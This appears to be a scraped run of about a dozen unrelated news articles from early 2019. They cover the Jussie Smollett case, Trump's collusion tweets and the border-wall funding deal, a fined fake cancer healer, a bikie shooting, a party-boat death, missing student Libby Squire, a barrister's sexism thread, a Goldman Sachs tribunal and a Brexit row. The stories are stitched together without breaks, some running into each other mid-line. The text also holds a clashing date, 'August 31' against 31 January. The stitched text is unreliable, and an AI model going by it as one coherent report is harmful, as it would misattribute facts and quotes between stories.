'And then it became a thing of like, "Oh. It's not necessarily that you don't believe that this is the truth, you don't even want to see the truth,' he said.

It is the first time the 36-year-old himself will answer questions on camera about the incident which shocked the nation and has brought an avalanche of both sympathy and scrutiny Smollett's way.

In the initial aftermath of the attack, Smollett received an outpouring of support from celebrities and fans alike who all condemned the discrimination he was subjected to.

But in the weeks since, details of the incident have been picked over forensically.

Some of his neighbors have expressed skepticism that it happened the way he said it did and the lack of evidence has done nothing to quell their cynicism.

Despite finding video of Smollett before and after the attack, police have not been able to uncover any surveillance footage of the actual incident and they have not been able to identify the suspects.

They released an initial image of two men walking near Smollett on the night of the incident at around the same time but that led to nothing.

Last week, police discovered a Chilli Habanero hot sauce bottle which seemed to contain bleach (above). It was found near where Smollett says he was attacked and had bleach poured on him . It was found 10 days after the attack

Smollett, 36, has not yet gone on camera to answer questions about the attack

Smollett's interview with Robin Roberts will air on Good Morning America on Thursday

Smollett is pictured in the hospital after a friend called the police to report him being attacked. He did not want to involve authorities

They have also pointed out repeatedly that Smollett did not immediately turn over his phone records or his phone to prove that he was on a call with his manager, Brandon Z. Moore, when the attack took place as claimed.

It carries special significance because Moore claims to have heard the attackers calling Smollett 'Empire f****t n****r' and shouting: 'This is MAGA country!'

Within the first few days of the attack, he gave an interview to Variety saying he had heard the slurs but he has not spoken about it since.

On Monday, Smollett finally did hand over his records but they were redacted.

Chicago Police Department described them as 'insufficient proof' of the call.

The actor angrily responded that via a representative that he was never told as much and that they were redacted to protect 'personal contacts or high-profile individuals not relevant to the attack.'

Smollett and his manager Brandon Z. Moore are pictured. Brandon claimed to have heard Smollett's attackers calling him 'Empire f****t n***r' and shouting 'This is MAGA country!'

It was Smollett's 60-year-old friend Frank Gatson who insisted that they report the attack to police after he returned home with a rope around his neck

In a statement to DailyMail.com on Tuesday night, a spokesman for the actor said: 'Jussie is the victim here, which has been stated by the Superintendent of Police.

'Jussie has voluntarily provided his phone records from within an hour of the attack and given multiple statements to police. Chicago PD has repeatedly informed us that they find Jussie's account of what happened that night consistent and credible. Superintendent Johnson has been clear from day one that Jussie is a victim.

'We are continuing to work closely with the Chicago PD and remain confident that they will find Jussie's attackers and bring them to justice.

'Any redacted information was intended to protect the privacy of personal contacts or high-profile individuals not relevant to the attack.

'Chicago Police have not told us that they are rejecting any records, nor have they expressed concerns about the records to us.

'Therefore, we don't feel compelled to be bated (sic) into responding to uncorroborated press reports.

'We are dealing directly with the Chicago Police Department.'President Donald Trump crowed Wednesday about statements by the chair of the Senate Intelligence Committee that the panel's two-year probe has not found evidence of collusion between his campaign and Russia.

The president trumpeted a fresh comment by panel chair Sen. Richard Burr, who has gone on record twice about what his panel has not found following a two-year investigation.

'The Senate Intelligence Committee: THERE IS NO EVIDENCE OF COLLUSION BETWEEN THE TRUMP CAMPAIGN AND RUSSIA!' Trump tweeted Wednesday morning, using all capital letters to reiterate something he has himself proclaimed throughout his presidency.

President Donald Trump trumpeted a fresh comment by Senate Intel panel chair Sen. Richard Burr, who has gone on record twice to say his committee has not uncovered evidence of collusion following a two-year investigation.

Burr told reporters Tuesday: 'There is no factual evidence of collusion between the Trump campaign and Russia.'

And NBC News confirmed the panel had found no 'direct evidence' of a conspiracy between the campaign and Russians, even as the Mueller probe has achieved convictions of top Trump campaign advisors and associates for lying about their Russia contacts during the campaign.

Trump tweeted out a comment by Sen. Richard Burr, although he attributed it to the Senate Intelligence Committee he chair

Burr has overseen a two-year investigation that has operated on a bipartisan basis

Trump has maintained for years that there was 'no collusion' between his campaign and Russia

Burr, a Republican senator from North Carolina, gave a lengthy interview to CBS News last week where he said his committee staff has worked for two years, interviewed more than 200 witnesses from multiple countries and reviewed over 300,000 pages.

'Based on the evidence to date,' Burr said his panel could not definitively say there was collusion between Trump and the Russians.

'If we write a report based upon the facts that we have, then we don't have anything that would suggest there was collusion by the Trump campaign and Russia,' Burr told the network.

Senate Intelligence Committee Chairman Richard Burr told reporters Tuesday: 'There is no factual evidence of collusion between the Trump campaign and Russia'

However, panel Democrats are disputing Burr's statement. 'I'm not going to get into any conclusions I have,' said top Democrat Sen. Mark Warner of Virginia, adding: 'there's never been a campaign in American history ... that people affiliated with the campaign had as many ties with Russia as the Trump campaign did.'

Warner told Mother Jones the probe is far from completed. 'We've still got many of the most major figures to either come or come back,' he said.

Trump raged about the conclusion in a Sunday tweet filled with capital letters after complaining the media wasn't covering Burr's findings in enough detail

Special Counsel Robert Mueller's probe is also continuing, despite repeated claims by President Trump's legal team that it is wrapping up. Weeks ago federal prosecutors indicted longtime Trump lawyer Roger Stone with witness tampering and obstruction, and obtained electronic communications through an FBI raid on his Florida home.

Prosecutors have revealed in court filings that Trump campaign chair Paul Manafort passed campaign polling to former Ukrainian partner Konstantin Kilimnik, who has ties to Russian intelligence.

'The notion that the president's campaign manager was sharing internal campaign documents with the Russians in advance of the release of information that came from Russia and that interfered massively with the campaign is mind-boggling,' Warner told Mother Jones.President Donald Trump won't sign legislation to prevent another government shutdown if it includes back pay for contractors who lost work in the longest closing in American history, a GOP lawmaker said Wednesday.

Democrats were trying to get backpay for contractors in the final language of the bill that will fund border security and other government departments.

But Republican Sen. Roy Blunt said he was told the president would not back the effort.

'I've been told the president won't sign that,' Blunt said, adding 'I guess federal contractors are different in his view than federal employees.'

Thousands of federal workers went without pay in December and January during the 35 day shutdown. Full time federal employees usually receive back pay but federal contractors do not.

Congressional staff are working to finalize the legislation in order for lawmakers to vote on it in time for Friday's deadline to prevent another shutdown.

'We'll be looking for landmines, because you could have that,' Trump said, indicating his advisors would be scrubbing legislation to fund the government in search of any surprises. Trump said he would take a 'very serious' look at bipartisan legislation to fund the government

Earlier Wednesday Trump said he is taking a 'very serious' look at a bipartisan compromise deal to give him just a quarter of the $5.7 billion he wants for a border wall  following reports sourced to his advisors that he is preparing to sign it.

'We haven't gotten it yet,' Trump said, in reference to the bipartisan compromise that has yet to be turned into final bill language. 'We'll take a very serious look at it,' Trump added during a meeting with the president of Colombia.

He said he would look for 'landmines' surreptitiously buried in the legislation negotiated by Republicans and Democrats from both chambers of Congress, but would not formally commit to signing it.

'We'll be looking for landmines, because you could have that. You know, it's been known to happen before to people,' Trump said.

'I don't want to see a shutdown. A shutdown would be a terrible thing,' said Trump, who turned down a similar offer in advance of the 35-day shutdown that began in December.

'We're building a lot of wall right now with money that we already have. When people see what we're doing I think they'll be very surprised. We're doing a lot of work,' Trump said. Current appropriations provide for $1.6 billion of 'fencing' on the border, but lawmakers have yet to provide funding for the wall Trump has described.

Trump's language on a shutdown being 'terrible' was a clear contrast to December, when Trump indicated in a meeting with Sen. Charles Schumer and other leaders that he would welcome a shutdown if necessary.

'I am proud to shut down the government for border security,' Trump said then. 'If we don't get what we want, one way or the other, whether it's through you, through military, through anything you want to call, I will shut down the government. And I am proud. I'll tell you what. I am proud to shut down the government for border security, Chuck,' Trump said at the time.

CNN reported Wednesday that Trump was 'seriously considering' executive actions using Homeland Security, Defense, and other funds for the wall to supplement monies Congress would appropriate.

He is still not ruling out declaring a national emergency  although this would be nearly certain to trigger legal action. Either way, he would achieve a prolonged political fight that he could tout to his base  as he did in an El Paso rally Monday in an arena decked out with 'Finish the Wall' banners.

Presidnet Donald Trump intends to sign a bipartisan compromise with $1.37 billion for border fencing, after a lengthy shutdown where he was demanding $5.7 billion for wall construction

White House press secretary Sarah Sanders told reporters at the White House Wednesday: 'We want to see what the final piece of legislation looks like. It's hard to say definitively whether or not the president's going to sign it until we know everything that's in it.'

Asked how it would constitute a win if the president ends up going it alone to try to wrangle funds from other agencies, Sanders said: 'I don't think the president is going it alone. I think most people across the country know that we need border security.'

'He's got the support of Americans all over the country,' she said.

Trump signaled his position Tuesday night, hours before negotiators came to agreement on a package to provide $1.37 billion for new border fencing  steel bollards along the southern border.

'When you add whatever I have to add, it's all going to happen' Trump said. He said 'We're going to build a beautiful big, strong wall.' Trump also said he was 'not happy' with the compromise.

Trump said he was 'not happy' with the compromise, but sources indicated Wednesday he would accept it

A bipartisan compromise would provide $1.37 billion for new border fencing

Senate Appropriations chair Richard Shelby of Alabama says he told Trump Tuesday night the wall funding was a 'down payment'

'I can't say I'm happy. I can't say I'm thrilled,' Trump said. 'But the wall is getting built, regardless. It doesn't matter because we're doing other things beyond what we're talking about here.'

Trump turned down a similar deal in December, helping precipitate a 35-day government shutdown that kept 800,000 federal employees away from work. It cost the U.S. economy $11 billion, according to the Congressional Budget Office, with a $3 billion loss that can't be recovered.

Absent a deal or other short-term legislation, the government will enter a partial shutdown at midnight Friday.

In a Tuesday evening Tweet, Trump thanked 'all Republicans for the work you have done in dealing with the Radical Left on Border Security'  a possible indication he was preparing to declare victory and take the deal.

Senate Appropriations chair Richard Shelby of Alabama, who spoke to Trump Tuesday night, said he told him the wall funding was a 'down payment' on what he was seeking.

Congress faced a tight deadline on Wednesday to pass a bipartisan accord to avert another U.S. government shutdown as news outlets reported President Donald Trump planned to sign the deal as he eyes other ways to fund his wall without lawmakers.

Negotiators have yet to put their deal into formal legislative language that could get a final review.

On Wednesday, CNN, the Washington Post and the Wall Street Journal all reported that Trump intended to sign the measure into law if it passes Congress. Representatives for the White House could not be reached immediately for comment.

Trump on Tuesday, however, did not rule out vetoing the legislation and said he was not happy with the deal, which denies him funds for his U.S.-Mexico border wall. But he also said he did not expect another shutdown.

The Democratic-controlled U.S. House of Representatives could vote as soon as Wednesday evening, a senior aide said, despite not yet having produced a written copy of the agreement reached by congressional negotiators on Monday night.

The accord must also be passed by the Republican-controlled Senate and signed by Trump by the midnight Friday expiration of a stopgap measure that ended the longest federal shutdown in U.S. history.

The measure's fate in the House was far from certain given the risk that conservatives and liberals will oppose the compromise for different reasons.

Congressional sources said the deal includes $1.37 billion for new border fencing, about the same as last year - along 55 miles (90 km) of the border - but not the $5.7 billion Trump has demanded to help build his promised border wall.

Senior congressional Republicans, showing little appetite for another shutdown after being heavily criticized for the previous one, urged Trump to support the agreement.

Trump surprised lawmakers when he withdrew support for a previous deal in December and demanded the $5.7 billion in wall funding, opposed by congressional Democrats. That triggered the 35-day shutdown of about a fourth of the federal government that left 800,000 federal workers furloughed or working without pay.

The Washington Post, citing a White House official, said Trump was likely to explore using his executive power to reallocate other federal funds for barrier projects.

CNN, citing the White House, also said Trump was weighing the use of an executive order, among other options.

The president previously threatened to declare a 'national emergency' if Congress did not provide money specifically for the wall, an action under which he might redirect other funds already provided by Congress to pay for wall construction.

Fellow Republicans have told Trump such a step would almost certainly draw opposition, both in Congress and in the courts.

Trump made the wall a central 2016 campaign promise, calling it necessary to combat illegal immigration and drug trafficking. He said Mexico would pay for it, but Mexican officials rejected that. Democrats have called a wall expensive, ineffective and immoral.A disgraced chiropractor and part-time taxi driver who claimed he had an 85 per cent success rate at curing cancer has been fined $30,000.

George Zaphir claimed to be a 'doctor of integrative medicine' who could cure cancer, but in 2016 he was exposed as a charlatan by A Current Affair.

The undercover sting came after one of Zaphir's patients died after receiving treatment for a tumour that was growing from his eye, which would later kill him.

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George Zaphir (pictured left) claimed to be a 'doctor of integrative medicine' who could cure cancer, but in 2016 he was revealed to be a charlatan by A Current Affair

Zaphir, who was not a doctor at all, but rather a deregistered chiropractor and a part-time taxi driver, told 59-year-old Ian Booth (pictured) he could treat his tumour with vitamin C

Zaphir, who was not a doctor, but rather a deregistered chiropractor and a part-time taxi driver, told 59-year-old Ian Booth he could treat his tumour with vitamin C.

Mr Booth's niece, Belinda McIntyre, told the program Zaphir assured her uncle that by undergoing treatment the tumour would continue to grow and eventually fall off.

'As it was growing bigger and bigger they just kept feeding to him that it's coming out and will drop off,' Ms McIntyre said.

Following the investigation, Zaphir was issued with an Interim Prohibition Order from the Office of the Health Ombudsman, which prevented him from practicing.

The order is usually reserved for health professionals that are deemed to be a serious risk to the health and safety of the general public.

Despite the restriction, Zaphir continued to practice as a 'doctor' until he was again busted by the Office of the Health Ombudsman.

He was later charged with 56 counts of contravening the restriction order.

Australian Medical Association president Dr Kean-Seng Lim told the program a breach of the order is a very serious risk to the public and is considered criminal.

'If we have a practitioner who is willfully disregarding laws and willfully disregarding orders of prohibition then that is a serious risk to the public,' Dr Lim said.

The matter was so serious Zaphir was called to appear before the Brisbane Magistrates Court to explain himself, but he failed to turn up on the day.

The undercover sting came after one of Zaphir's (pictured) patients died after receiving treatment for a tumour that was growing from his eye, which would later kill him

He did, however, manage to call in by phone and claimed he thought it was a civil matter, but the prosecution chose to proceed with the hearing anyway.

The prosecution said Zaphir 'showed little to no remorse' and referred to his 'sustained period of offending' as 'deliberate and contemptuous'.

Zaphir later pleaded guilty to all 56 charges and he was fined $30,000.

Dr Lim said it's understandable how some vulnerable people seek a quick fix, but the moral of the story is to always speak to your trusted general practitioner.

'If you hear a claim from any practitioner which sounds too good to be true, you probably want to talk to someone else,' he said.A man has been tasered after running down the middle of a busy highway wearing nothing but his underwear.

During busy midday traffic, a 24-year-old made the mad barefoot dash down Perth's Great Eastern Highway.

With a police officer close behind, the man tried to pull a driver out of his truck before being tasered.

Authorities were called when the man snuck into a room at the Great Eastern Motor Lodge (pictured) and barricaded himself inside

Authorities were called when the man snuck into a room at the Great Eastern Motor Lodge and barricaded himself inside, Perth Now reported.

As police managed to make their way inside, the man jumped out of a second-story window and ran toward the busy road.

Barefoot, and wearing just his underwear, the man then jumped into the tray of a Nissan ute in an attempt to evade police.

The confused driver slammed on the breaks, causing the half-naked runaway to jump out and continue his escape on foot.

As he made his way down the highway, he attempted to open the door of a truck and pull out the driver.

When the driver refused to get out of his vehicle, the 24-year-old then climbed over him to avoid police.

A man was tasered after running down the middle of a busy highway wearing nothing but his underwear

He was tasered by police as he climbed over the truck driver and into the passengers seat.

'The Taser was right in front of me face and he's just leaned over and shot it straight through the truck and clipped him,' the truck driver said.

The man is currently in hospital undergoing a mental health and drug assessment.Shocking CCTV footage has captured the moment a group of gunmen unleash a barrage of bullets on the home of a notorious bikie boss.

Finks elite Brent James Reker was inside his Frankston home, southeast of Melbourne, with his wife and two-week-old son when it was attacked last May.

Bullets from the shooting were found lodged in a neighbour's home the next morning, where a family - including two children younger than four - slept blissfully unaware they were metres from being shot.

Now, footage of the attack has been released by anti-bikie Echo Taskforce in a bid to track down the runaway shooters.

Finks boss Brent Reker (pictured) was targeted by a group of gunmen who shot his family's home

The footage shows a man running from a car parked in front of the property as it bursts into a ball of flames.

That attacker jumps in the driver's seat of their getaway car while a second man shoots at the home.

He unleashes a volley of shots before getting into the back of the car, which flees quickly.

Detectives believe the car in the footage was seen earlier in Melton, which is more than 90km away.

The anti-bikie taskforce is now checking the remains of the bullets left at the scene with firearms they've since seized.

A pair of attackers targeted Reker's home, one setting a car out front alight as another shot

Reker's wife and two-week-old son were asleep in the home as the gunman opened fire

Meanwhile, police have issued a plea for anyone who might've seen anything suspicious in Melton or Frankston on the morning of May 31 last year.

'While we believe this shooting is highly targeted, what is concerning is the opportunity for innocent parties to be caught up in incidents such as this,' Detective Sergeant Justin Mercovich told The Herald Sun.

'One of the bullets has struck a neighbouring property where two small children were asleep, so the consequences could really have been disastrous.'

The Finks Motorcycle Club was recently resurrected, with Reker at the helm.

A series of raids in 2015 saw the club fade into obscurity for a number of years.

But Reker brought the club back to Victoria early last year.Shalina Abdulhussein, 39, was found slumped over a bathroom sink on the three-level Lady Rose catamaran on February 2

The grief-stricken family of a mother-of-two who died on board a party boat in Sydney Harbour believe she was locked in a toilet with poisonous gas.

Shalina Abdulhussein, 39, was found slumped over a bathroom sink on the three-level Lady Rose catamaran on February 2.

On Monday, her distraught husband Daljit Singh buried her, and said he believes his wife died because she was trapped. He is now considering legal action.

Mr Singh has told his wife's family he believes a modification to the toilet cubicle's sink allowed poisonous gas to flood into the cabin.

He says excessive levels of hydrogen sulphide filled the toilet and his wife struggled to unlock the hatch in the windowless cubicle.

A woman who died aboard a party boat is believed to have inhaled fatal levels of toxic gas

Ms Abdulhussein's aunt, Zahra Barhmal, believes her niece suffered a heart attack seconds after inhaling the toxic gas.

'Her husband is in deep shock. He said Shalina had no chance, he understandably wants answers,' she told The Daily Telegraph from her home in London.

'We are all in shock but right now her husband is numb, he's in survival mode for their two boys.

'He adored Shalina, she went on a boat for just four hours to celebrate a birthday, she was so happy about going, he never expected to never see her again.'

Friends aboard the Lady Rose boat took hours to realise Shalina Abdulhussein was missing

Crew members aboard the Lady Rose didn't realise the mother-of-two was missing until friends raised the alarm.

They broke down the cubicle door, but they were too late.

The Australian Maritime Safety Authority and RMS continue to investigate the death, with investigators finding defects in other vessels, including the boat's sewage disposal systems.

Partygoers on the same boat as Ms Abdulhussein reportedly complained about a 'strange smell' hours before she was found dead.

A report on her death is being prepared for the Coroner.

Daily Mail Australia has contacted All Occasion Cruises for comment.

It is understood the company will not be commenting until all the facts are known.Fishermen are known for telling tall tales - but one avid angler from Kentucky insists he caught a massive pet goldfish - and and he has the picture to prove it.

This is Hunter Anderson, who said he landed the 20lbs former-pet using nothing but a biscuit while fishing at a private pond in Boyle County at the weekend.

Anderson told WKYT that he and his girlfriend were driving back home after a weekend away when they stopped by the pond so he could cast out.

Hunter Anderson claims to have caught a 20lbs goldfish using nothing more than a biscuit for bait while fishing at a private pond in Kentucky

Courtesy of WKYT

Moments later he felt a bite on the line and began reeling it in, but knew something was amiss when the animal began fighting hard to get free.

'It was one of the hardest fighting fish I've ever fought,' he said.

When he eventually netted the fish and hauled it on to the shore, he discovered what looked very much like a giant goldfish.

He added: 'I was screaming and jumping up and down as I had never seen anything like it.'

Anderson stopped for a quick picture with his catch - knowing that nobody would believe him otherwise - before releasing it back into the water.

The image went viral after sister Cassie posted it on Facebook, writing: 'What you are witnessing is NOT national geographic! It is not a stolen image or edited photo!

'This is my brother, who is holding what could possibly be.... that pet goldfish we flushed when I was 9!

'...I swear, I thought you were dead bubbles!'

It is not known for certain whether the fish Anderson hooked was a former pet, but goldfish have been known to survive for years in the wild and grow to large sizes.

The common goldfish is a species of carp, which will remain small when kept in tanks and fed a limited supply of fish food.

But if they either escape, are dumped into lakes, or flushed down the toilet after being mistaken for dead, they can go on living for decades.

The fish will continue growing the entire time, provided there is enough food for them to eat and space for them to occupy, resulting in specimens like this.

The largest goldfish ever recorded measured almost 19 inches from snout to tail, according to the Guinness Book of Records, though the weight was not recorded.Libby Squire's heartbroken family today released new photographs of her on Christmas Day - a month before she vanished - as police divers again search a pond in her local park.

The Hull student disappeared almost two weeks ago after a drunken night with friends and was last seen on a bench in one of the city's busiest roads at around midnight on Thursday January 31.

Hundreds of Humberside officers have been hunting the area around the University of Hull for her but to no avail.

Polish butcher Pawel Relowicz, 24, was arrested on suspicion of abduction and remains under investigation in connection with her disappearance.

Her bereft parents Lisa and Russ are attending a special church service today organised in their home town of High Wycombe, Buckinghamshire, and made a new appeal for information and released recent photographs of their eldest child.

Libby Squire's parents have released these photographs of their daughter, left on Christmas Day 2018 and right on a gap year trip to Paris in 2017

A map of Hull shows the second year philosophy student's movements on the night of August 31 in Hull before she vanished and the areas police have searched

Police divers are back searching the lake in Hull near to the home of missing student Libby Squire

The teenager has been missing for two weeks after she went on a night out with friends

Divers started searching the pond near her home today as Libby's parents desperately appealed for more information

In a short statement, the couple begged for more information as they shared images of their daughter enjoying a dream trip to Paris.

They said: 'Libby is a much loved big sister to her three younger siblings. They all really look up to her and she always expects them to behave.

'Libby has a big heart. She is always happy and having fun. She laughs a lot. She is a real family person, and loves spending time at home with them [her family].

'We want these new photos of Libby to be shared along with these existing ones which will help in our search for her'.

MailOnline yesterday unearthed CCTV footage of the 21-year-old philosophy undergraduate outside a nightclub on the night she mysteriously vanished.

The young woman, who police believe is Miss Squire, can be seen walking with three friends as she heads to the Welly Club in Hull.

In icy conditions, she appears to be unsteady on her feet, as if drunk, and can be seen walking along the pavement in a short skirt.

Miss Squire arrived at the nightspot at 11.18pm on Thursday, January 31, but wasnt allowed inside by bouncers as she was thought to be too drunk.

The video footage then appears to show her waiting with a friend for a taxi to take her home as other clubbers queued to go inside.

Humberside Police said she was dropped off by a taxi at her home in Wellesley Avenue at 11.29pm but did not go inside.

Officers were seen out on boats as the search for the Hull University student continues

This is the last confirmed sighting of missing student Libby Squire as she walks towards The Welly Club, in Hull, at 11.18 on January 31, trying to negotiate a slippery path from snowfall earlier that evening

Instead she walked about 300 yards up to the main road and sat on a bench, where she remained until 12.09am.

The footage was taken by a camera at a business premises near the club and given to MailOnline in a bid to aid the inquiry.

Property agent Lukasz Rybus, who owns the CCTV footage, said: I want Libby to be found, to be back with her family and friends.

This footage shows that she was dressed all in black and seems to be wearing lighter coloured trainers or boots.

I just hope that this footage helps jog someones memory, if it helps someone remember seeing her, that can only be a positive thing.

Police believe the woman captured on camera is Miss Squire.

The search operation focusing on parkland near her home continued yesterday - the 12th day of searching.

Police officers used cutting equipment to cut back vegetation in the Oak Road Playing Fields area as they looked for clues.

Suspect Pawel Relowicz, 24, remains under investigation in connection with her disappearance.

After being questioned over the students abduction he was charged with five unrelated offences.

The father-of-two denied outraging public decency, voyeurism and three burglaries and is due to appear before Hull Crown Court next month.

Police arrested Polish-born butcher Pawel Relowicz, 24, (left and right) a married father-of-two, last Wednesday, on suspicion of Libby's abduction. He was questioned by detectives until Sunday night when he was bailed but he remains a suspect

In a bizarre twist, Relowicz has since been charged with several sex offences around Hull - including one just 12 days before Libby vanished. The alleged crimes (pictured) date back to Christmas 2017 up until the eve of the student's disappearance

Last night Humberside Police said 'hundreds of uniformed officers and approximately 50 detectives' had been working round the clock to try and find Miss Squire.

Three specialist search advisors were overseeing the search operation that has involved underwater officers, dog teams, lowland search and rescue teams, the fire service, coastguard and officers from neighbouring forces.

The statement said 'we aren't stopping our searches for her' and police continue to appeal to the public for information.A female barrister has advised her male colleagues 'not to behave like they're on a stag do' or 'joke about breasts and skirts' in court.

Joanna Hardy is a leading criminal barrister working in London and has given evidence to Government committees on how to improve the legal profession.

Yesterday she took to Twitter to discuss ways to help prevent women from leaving criminal law for other jobs.

The lengthy feed slammed her male counterparts for saying things like 'you're worse than my wife' and demanding female colleagues 'make the case dinner', 'fetch the coffee' and 'pour the water'.

She also claimed they often 'behave like they're on a stag do' while hearing cases, make lewd, sexist jokes and 'forget women's names'.

Joanna Hardy (pictured giving evidence to a House of Commons justice committee) is a leading criminal barrister working in London and has given evidence to Government committees on how to improve the legal profession

Yesterday Ms Hardy (pictured) took to Twitter to discuss ways to help prevent women from leaving criminal law for other jobs

Three of the points in her nine-strong list read: 'Don't behave like you're on a stag-do.

'If you're a male in a male-heavy case, don't ask the female counsel to fetch the coffee / pour your water.

'Try to remember their names. Don't make repetitive jokes about breasts or skirts.

'Don't communicate solely in innuendo.

Joanna Hardy's Twitter feed on women in law We talk a lot about retention of women at the criminal bar. We wring our hands and shake our heads as females leave and leave and leave. But what can we actually do? A wee thread: 1) Abolish 09:30 listings. This helps with childcare and the care of elderly relatives. It's (something) predictable in a chaotic job. (This helps male primary caregivers, too). 2) Abolish warned lists. No other profession prepares a piece of work (for free) on the off-chance they might be able to complete it and be paid. Let's fix trials. That requires funding judicial sitting hours and recorders. It requires the utilisation of empty courtrooms. 3) Be kind to each other. Female advocates can have a rough time of it. Not all the time. And they aren't the only ones. But just don't do it. And if you see it, don't tolerate it. 4) Think about your chambers' policies for supporting female members. Do you have a mentoring scheme? A maternity policy? Support for returning to work? Fair allocation of cases? If you don't - write one. 5) Help each other. If you're a senior female member of the bar or female judge - encourage those behind you. Talk about how you managed families / relatives / stress / career breaks / bravado at the bar. Lend a hand. Or an ear. Speak on a panel. Write an article. Mentor. Help. 6) Don't behave like you're on a stag-do. If you're a male in a male-heavy case, don't ask the female counsel to fetch the coffee / pour your water. Try to remember their names. Don't make repetitive jokes about breasts or skirts. Don't communicate solely in innuendo. 7) 'You're worse than my wife' is not an acceptable way to conclude a debate about complex legal provisions. 8) No. I don't want to organise the case dinner. 9) Don't read Monday Messages from @TheCriminalBar or emails from @WellbeingCBA or books by @BarristerSecret and nod along without engaging. Do some small things to help. Source: @Joanna__Hardy Advertisement

'You're worse than my wife' is not an acceptable way to conclude a debate about complex legal provisions.

'No. I don't want to organise the case dinner.'

Ms Hardy, who has appeared in the top Legal 500 list of leading junior criminal barristers, has been flooded with positive responses - many from senior male colleagues.

Mark George QC wrote: 'Well said Joanna. Much needs to change in our courts if the issue of retention is to be taken as seriously as it should be.'

Michael Auty posted: 'These are some very sensible and practical suggestions. Since 1994, 16 of the 30 tenants weve taken on are women.

'The 6 most junior tenants are women and they are all superb. They are all a vital part of the family. I am presently co-defending with a brilliant female silk!'

Her call for change comes after several complaints about the lack of gender and racial diversity in the legal profession up and down Britain.

It also follows an article written by chairman Chris Henley QC for the Criminal Bar Association on Monday entitled 'The Problem With Being A Woman At The Criminal Bar'.

In it he admitted several female lawyers and those belonging to ethnic minority groups are 'suffering physically, mentally and financially'.

He wrote: 'There is too much talk about diversity (Im getting rather irritated by it), but nothing discernible is yet happening. It is patently not being taken sufficiently seriously.'

Ms Hardy's Twitter post also suggested abandoning early hearings so mothers and co-parenting fathers can manage their childcare responsibilities better.

She warned legal staff to be 'kind to each other', confessing 'female advocates have a rough time of it'.

The young lawyer currently works for Red Lion Chambers in London, which used to be run by Max Hill QC, before he became Director of Public Prosecutions.

Her professional profile describes her as a 'able and popular jury advocate with experience across the full spectrum of criminal allegations', as well as an 'efficient, diligent junior'.

She has led several murder cases and others in historical sexual offending, as well as appearing in front of the Lord Chief Justice and cases in the Court of Appeal.

She was one of three lawyers to be chosen to represent the legal profession in front of the Commons Justice Select Committee to give her view on the disclosure of evidence during criminal trials.

She graduated from King's College London with a first class law degree before starting her career.Kwasi Afrifa, 31, resigned from Goldman Sachs following claims of underperformance and is now suing the bank for failing to accommodate his condition. He is seen today outside the Central London Employment Tribunal in Holborn

A former Goldman Sachs analyst is suing the bank for disability discrimination after claiming bosses deprived him of an astonishingly lucrative career because of his attention deficit disorder.

Kwasi Afrifa, 31, resigned following claims of underperformance and is now suing the bank for failing to accommodate his condition - an allegation the global investment bank called 'spurious'.

He now claims Goldman Sachs' actions mean he has lost the chance to develop a career in either banking or hedge fund investing - leading to his aim of retiring at 45 having amassed a sum of 11.4m.

The software engineer alleges he was forced out by Goldman Sachs' direct disability discrimination.

But a London employment tribunal heard how Mr Afrifa was a 'serial underperformer' whose performance at the firm 'went from bad to worse'.

He worked as an analyst for Goldman Sachs fundamental strategies department, where he earned a basic salary of 50,000 plus a bonus.

During his four years at the bank, he was accused of missing deadlines, arriving to work late, failing to turn up - and acting 'histrionically'.

Mr Afrifa said in a witness statement: 'I felt my attempts to engage with Goldman Sachs to determine and implement adjustments had been ignored and dismissed.

'I have a very strong sense of the time and progress I have lost because of the situation.'

He claimed that insomnia caused by medication and an unwillingness of the company to adapt to his disability caused friction.

Mr Afrifa was said to have begun using dexamphetamine for his condition after he was diagnosed at age 20.

He said his mental disability made certain tasks more difficult - with the concentration issues leading to typographical errors.

He was placed on sick leave in January 2017 after a scathing performance review, no bonus and an extended period of insomnia.

In a statement from Goldman Sachs, they said: 'At the heart of this case is a dispute as to his ability to perform.

'This was a role that requires attention to detail, the ability to assimilate and distribute info rapidly and accurately.

'He demonstrated a more or less indifferent attitude towards many of the basic requirements of his role.

'He was routinely late with little or no explanation, failed to follow instructions, did not return forms and appeared disengaged.

'There was idiosyncratic workplace behaviour - Goldman Sachs was tolerant - in large part because of ADD.'

The software engineer alleges he was forced out by Goldman Sachs' direct disability discrimination, a claim it denies. Pictured: The bank's US headquarters in New York City

Dr Phil Johnson, an in house occupational health expert at the bank wrote in an email in January 2017 that there is 'nothing to excuse what is happening here'.

When Mr Afrifa returned that summer, he suggested adjustments, or 'workarounds' to his role - which were met with alleged 'negative hostility'.

The proposed changes included using a transcription service, allowing more time for basic tasks, and using specialist software.

Mr Afrifra was left disappointed after missing out on a bonus and said it was 'painful' to be told he was not capable of doing his job.

He resigned in May 2018 - which he attributed to 'in no small part down to preconceptions and prejudice around ADD effects.'

Companies are required to make reasonable adjustments under discrimination laws, to make it easier for the disabled to stay in work.

James Laddie QC, for Goldman Sachs, claimed that 'underlying personality factors' led to action being taken against him, rather than his ADD.

Consultant psychiatrist Dr Revie Mehrota said that Mr Afrifa struggled to commit to laborious tasks and was prone to distraction.

He said: 'There are quite fundamental traits in regard to his personality profile manifesting as difficulties in checking of his work.

'This includes proofreading, accuracy, formatting and presentation of written work and his oral communication style.

'A job description predominantly featuring technical analysis and creativity would still require the use of the skill set I have outlined above.'

But his defence highlighted the fact that Mr Afrifra had taken on additional A-levels, before studying aeronautical engineering at Imperial College London.

It was claimed that Mr Afrifa had shown a willingness to work hard, and had done so with effective management of his ADD.

The condition is a sub-type of the better known ADHD and does not have the hyperactivity associated with the other condition which tends to afflict children.

The tribunal continues.Theresa May's hopes of a Valentine's Day love-in with Tory Brexiteers have been dashed after they accused her of a 'sneaky' bid to rule out leaving the EU without a deal.

A furious row has erupted after the PM tabled a motion for crunch Commons votes tomorrow that seemingly accepts the UK must not crash out of the bloc.

The spat centres on a Remainer-backed amendment that was passed by MPs two weeks ago rejecting the idea of no deal.

Although that vote was not binding on ministers, the government motion due to be considered tomorrow endorses 'the approach to leaving the EU expressed by this House on 29 January'.

That has been interpreted by Brexiteers as Mrs May admitting that no deal is off the agenda - despite the premier repeatedly insisting it is a possibility.

One senior Conservative Brexiteer told MailOnline the clash showed the level of 'distrust' between Eurosceptics and the leader.

A furious row has erupted after Theresa May (pictured at PMQs today) tabled a motion for crunch Commons votes tomorrow seemingly accepting the UK must not crash out of the EU

The bitter row risks condemning the PM to a humiliating defeat in Parliament, as the Tory Eurosceptic ERG group refuses to join her in the division lobbies.

Brexit Secretary Steve Barclay tried to ease tensions this morning by insisting leaving the EU without a deal was still possible.

